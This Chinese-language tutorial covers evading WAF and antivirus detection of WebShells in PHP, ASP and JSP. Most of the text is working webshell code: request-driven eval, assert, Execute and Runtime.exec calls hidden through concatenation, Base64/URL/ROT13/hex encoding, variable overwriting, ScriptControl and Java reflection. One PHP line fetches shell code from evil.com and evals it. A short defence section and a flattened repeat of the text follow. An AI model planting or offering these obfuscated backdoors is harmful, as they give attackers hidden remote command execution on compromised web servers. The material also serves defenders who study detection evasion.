绕过WebShell检测的总结之文件免杀
字数 907 2025-08-25 22:58:40

WebShell免杀技术总结:文件免杀绕过WAF检测

一、WAF检测原理与绕过基础

WAF(Web应用防火墙)通过维护规则库记录WebShell常用特征:

  • 敏感函数(如eval、assert)
  • 特定代码结构
  • 常见恶意行为模式

绕过WAF的基础在于:

  1. WAF通常优先考虑业务可用性,其次才是安全性
  2. 不会完全禁止语言中可执行代码的结构/函数
  3. 主要检测敏感函数是否出现在非常用业务结构中

二、通用绕过方法

1. 混淆技术方向

  • 字符串变换:拼接、编码、取反、加密
  • 函数特性:可变函数、匿名函数、回调函数
  • 类特性:类调用、继承、反射、序列化
  • 注释技巧:参数注释、垃圾注释
  • 变量污染:创建大量无关变量

2. 主要混淆手段

  • 使用连接符(如PHP的.、ASP的+&)拼接字符串
  • 编码转换:URL编码、Base64、ROT13、UTF-7等
  • 字符串函数处理:chr、bin2hex、strrev、str_replace等
  • 取反、异或、加密等运算
  • 可变函数和回调函数
  • 类相关技术

三、PHP WebShell免杀技术

1. PHP代码执行方式

eval(string $code)                  // PHP4/5/7
assert(mixed $assertion)            // PHP4/5/7
preg_replace(/e修饰符)              // PHP4/5
mb_ereg_replace()                   // 字符串替换执行
include/require系列                 // 文件包含
file_get_contents()                 // 文件读取

2. PHP混淆技术详解

(1) 字符串拼接与隔离

// 简单拼接
$cmd = "s"."y"."s"."t"."e"."m";
$cmd($_GET['cmd']);

// 数组下标取值
$arr = array('a'=>'system');
$arr['a']($_GET['cmd']);

// 远程加载核心shell
$code = file_get_contents('http://evil.com/shell.txt');
eval($code);

(2) 变量覆盖技术

extract($_REQUEST);  // 从请求数组创建变量
parse_str($_GET['x']);  // 解析查询字符串为变量
foreach($_POST as $k=>$v) 
$$
k=$v;  // 动态创建变量

(3) 编码转换技术

// Base64编码
eval(base64_decode('c3lzdGVtKCJ3aG9hbWkiKTs='));

// URL编码
eval(urldecode('%73%79%73%74%65%6D%28%22%77%68%6F%61%6D%69%22%29%3B'));

// ROT13
eval(str_rot13('flfgrz("jubnz");'));

// 十六进制
eval(hex2bin('73797374656d282277686f616d6922293b'));

(4) 高级混淆示例

function fff(){
    $tql = array("ddw" => $_REQUEST['pass']);
    $ddw = null;
    if ($_GET['key'] === 'hash')
        extract($tql, EXTR_IF_EXISTS);
    return $ddw;
}
$aaa = isset($_GET['key']) ? array('xml', array("xswl" => fff())) : null;
eval($aaa[1]["xswl"]);

四、ASP/ASPX WebShell免杀技术

1. ASP代码执行方式

Eval(Request(0))
Execute(Request(0))
ExecuteGlobal(Request(0))

2. ASP混淆技术

' 字符串拼接
cmd = "E" & "v" & "a" & "l"
Execute(cmd & "(Request(0))")

' URL编码
Execute(Unescape("E%76%61%6C%28%52%65%71%75%65%73%74%28%30%29%29"))

' 使用ScriptControl组件
Set sc = CreateObject("ScriptControl")
sc.Language = "VBScript"
sc.AddCode(Request(0))
sc.Run("Main")

五、JSP WebShell免杀技术

1. JSP代码执行方式

Runtime.getRuntime().exec("cmd")
ProcessBuilder().command("cmd").start()

2. JSP混淆技术

// 字符串拼接
String cmd = "cm" + "d /c " + request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);

// 类反射
Class cls = Class.forName("java.lang.Runtime");
Method m = cls.getMethod("exec", String.class);
m.invoke(cls.getMethod("getRuntime").invoke(null), "cmd");

六、综合绕过策略

  1. 组合使用多种混淆技术:如编码+拼接+类反射
  2. 利用业务正常功能:伪装成正常业务代码
  3. 分散敏感特征:将敏感操作拆分到多个位置
  4. 动态加载:从外部资源加载核心代码
  5. 环境检测:先检测是否为WAF环境再执行

七、防御建议

  1. 使用多层防御:WAF+文件监控+行为监控
  2. 限制敏感函数使用
  3. 严格控制文件上传和执行权限
  4. 定期更新WAF规则库
  5. 监控异常文件操作和系统命令执行

八、总结

WebShell免杀技术本质上是与WAF的对抗过程,通过不断变化的混淆技术和代码结构来绕过检测。安全人员需要深入理解各种编程语言特性和WAF检测原理,才能有效防御此类攻击。

WebShell免杀技术总结:文件免杀绕过WAF检测 一、WAF检测原理与绕过基础 WAF(Web应用防火墙)通过维护规则库记录WebShell常用特征: 敏感函数(如eval、assert) 特定代码结构 常见恶意行为模式 绕过WAF的基础在于: WAF通常优先考虑业务可用性,其次才是安全性 不会完全禁止语言中可执行代码的结构/函数 主要检测敏感函数是否出现在非常用业务结构中 二、通用绕过方法 1. 混淆技术方向 字符串变换 :拼接、编码、取反、加密 函数特性 :可变函数、匿名函数、回调函数 类特性 :类调用、继承、反射、序列化 注释技巧 :参数注释、垃圾注释 变量污染 :创建大量无关变量 2. 主要混淆手段 使用连接符(如PHP的 . 、ASP的 + 和 & )拼接字符串 编码转换:URL编码、Base64、ROT13、UTF-7等 字符串函数处理:chr、bin2hex、strrev、str_ replace等 取反、异或、加密等运算 可变函数和回调函数 类相关技术 三、PHP WebShell免杀技术 1. PHP代码执行方式 2. PHP混淆技术详解 (1) 字符串拼接与隔离 (2) 变量覆盖技术 (3) 编码转换技术 (4) 高级混淆示例 四、ASP/ASPX WebShell免杀技术 1. ASP代码执行方式 2. ASP混淆技术 五、JSP WebShell免杀技术 1. JSP代码执行方式 2. JSP混淆技术 六、综合绕过策略 组合使用多种混淆技术 :如编码+拼接+类反射 利用业务正常功能 :伪装成正常业务代码 分散敏感特征 :将敏感操作拆分到多个位置 动态加载 :从外部资源加载核心代码 环境检测 :先检测是否为WAF环境再执行 七、防御建议 使用多层防御:WAF+文件监控+行为监控 限制敏感函数使用 严格控制文件上传和执行权限 定期更新WAF规则库 监控异常文件操作和系统命令执行 八、总结 WebShell免杀技术本质上是与WAF的对抗过程,通过不断变化的混淆技术和代码结构来绕过检测。安全人员需要深入理解各种编程语言特性和WAF检测原理,才能有效防御此类攻击。